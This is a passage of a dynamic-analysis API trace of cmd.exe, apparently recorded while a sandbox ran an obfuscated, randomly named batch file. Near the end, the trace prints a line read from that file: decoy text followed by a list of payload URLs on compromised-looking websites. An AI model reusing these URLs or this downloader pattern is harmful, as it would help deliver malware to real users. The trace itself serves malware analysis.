lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.069] GetLastError () returned 0x2 [0228.069] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.069] GetLastError () returned 0x2 [0228.069] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.070] GetLastError () returned 0x2 [0228.070] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.070] GetLastError () returned 0x2 [0228.070] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.070] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.071] GetLastError () returned 0x2 [0228.071] ??_V@YAXPEAX@Z () returned 0x1 [0228.071] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.078] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.078] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.078] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.078] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.080] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.080] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.080] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.080] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.080] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.080] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.080] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.080] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.081] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.081] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.081] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.081] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.081] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.081] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.081] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.081] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.081] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.081] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.082] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.082] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.082] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.082] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.082] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.082] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.082] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.082] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.082] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.082] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.082] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.082] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.083] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.083] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.083] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.083] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.083] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.083] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.083] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.083] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.083] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.083] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.083] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.083] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.083] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.083] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.083] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.083] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.083] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.083] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.083] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.083] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.083] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.083] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.083] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.083] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.217] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.217] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.217] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.217] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.217] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.217] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.217] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.217] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.217] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.217] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.217] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.217] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.217] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.217] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.217] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.217] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.217] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.217] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.217] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.217] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.217] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.217] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.217] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.217] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.217] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.217] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.217] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.218] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.218] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.218] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.218] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0228.218] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0228.218] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0228.218] ??_V@YAXPEAX@Z () returned 0x1 [0228.218] GetProcessHeap () returned 0x20b0f920000 [0228.218] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0228.218] GetProcessHeap () returned 0x20b0f920000 [0228.218] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d690 [0228.218] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.219] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.219] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.220] GetProcessHeap () returned 0x20b0f920000 [0228.220] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0228.221] SetErrorMode (uMode=0x0) returned 0x0 [0228.221] SetErrorMode (uMode=0x1) returned 0x0 [0228.221] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0228.221] SetErrorMode (uMode=0x0) returned 0x1 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0228.221] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.221] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0228.221] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9257b0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9257b0, Size=0x7e) returned 0x20b0f9257b0 [0228.221] GetProcessHeap () returned 0x20b0f920000 [0228.221] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9257b0) returned 0x7e [0228.222] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.222] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0228.222] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0228.222] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.222] GetLastError () returned 0x2 [0228.222] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.222] GetLastError () returned 0x2 [0228.222] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.223] GetLastError () returned 0x2 [0228.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.223] GetLastError () returned 0x2 [0228.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.223] GetLastError () returned 0x2 [0228.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.223] GetLastError () returned 0x2 [0228.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.223] GetLastError () returned 0x2 [0228.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.224] GetLastError () returned 0x2 [0228.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.224] GetLastError () returned 0x2 [0228.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.224] GetLastError () returned 0x2 [0228.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.224] GetLastError () returned 0x2 [0228.224] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.224] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.224] GetLastError () returned 0x2 [0228.224] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0228.225] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.225] GetLastError () returned 0x2 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.225] GetLastError () returned 0x2 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.225] GetLastError () returned 0x2 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.225] GetLastError () returned 0x2 [0228.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.226] GetLastError () returned 0x2 [0228.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.226] GetLastError () returned 0x2 [0228.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.226] GetLastError () returned 0x2 [0228.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.227] GetLastError () returned 0x2 [0228.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.227] GetLastError () returned 0x2 [0228.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.227] GetLastError () returned 0x2 [0228.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.227] GetLastError () returned 0x2 [0228.227] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.228] GetLastError () returned 0x2 [0228.228] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.228] GetLastError () returned 0x2 [0228.228] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.228] GetLastError () returned 0x2 [0228.228] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.228] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.228] GetLastError () returned 0x2 [0228.228] ??_V@YAXPEAX@Z () returned 0x1 [0228.229] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.229] GetFileType (hFile=0x54) returned 0x2 [0228.229] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0228.234] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.234] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0228.235] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0228.235] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0228.235] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0228.240] ??_V@YAXPEAX@Z () returned 0x1 [0228.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.241] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0228.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.241] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0228.242] _get_osfhandle (_FileHandle=0) returned 0x4c [0228.242] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0228.242] SetConsoleInputExeNameW () returned 0x1 [0228.242] GetConsoleOutputCP () returned 0x1b5 [0228.242] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0228.242] SetThreadUILanguage (LangId=0x0) returned 0x409 [0228.243] ??_V@YAXPEAX@Z () returned 0x1 [0228.243] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0228.244] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0228.244] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.244] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca1 [0228.244] GetProcessHeap () returned 0x20b0f920000 [0228.244] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9257b0) returned 1 [0228.244] GetProcessHeap () returned 0x20b0f920000 [0228.244] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0228.244] GetProcessHeap () returned 0x20b0f920000 [0228.244] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0228.244] GetProcessHeap () returned 0x20b0f920000 [0228.244] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.245] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.245] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.245] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.245] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.245] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0228.245] GetProcessHeap () returned 0x20b0f920000 [0228.246] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0228.246] GetProcessHeap () returned 0x20b0f920000 [0228.246] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0228.246] GetProcessHeap () returned 0x20b0f920000 [0228.246] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0228.246] GetProcessHeap () returned 0x20b0f920000 [0228.246] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0228.247] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.247] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xca1 [0228.247] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xb14, lpOverlapped=0x0) returned 1 [0228.247] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd08 [0228.247] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0228.247] _get_osfhandle (_FileHandle=3) returned 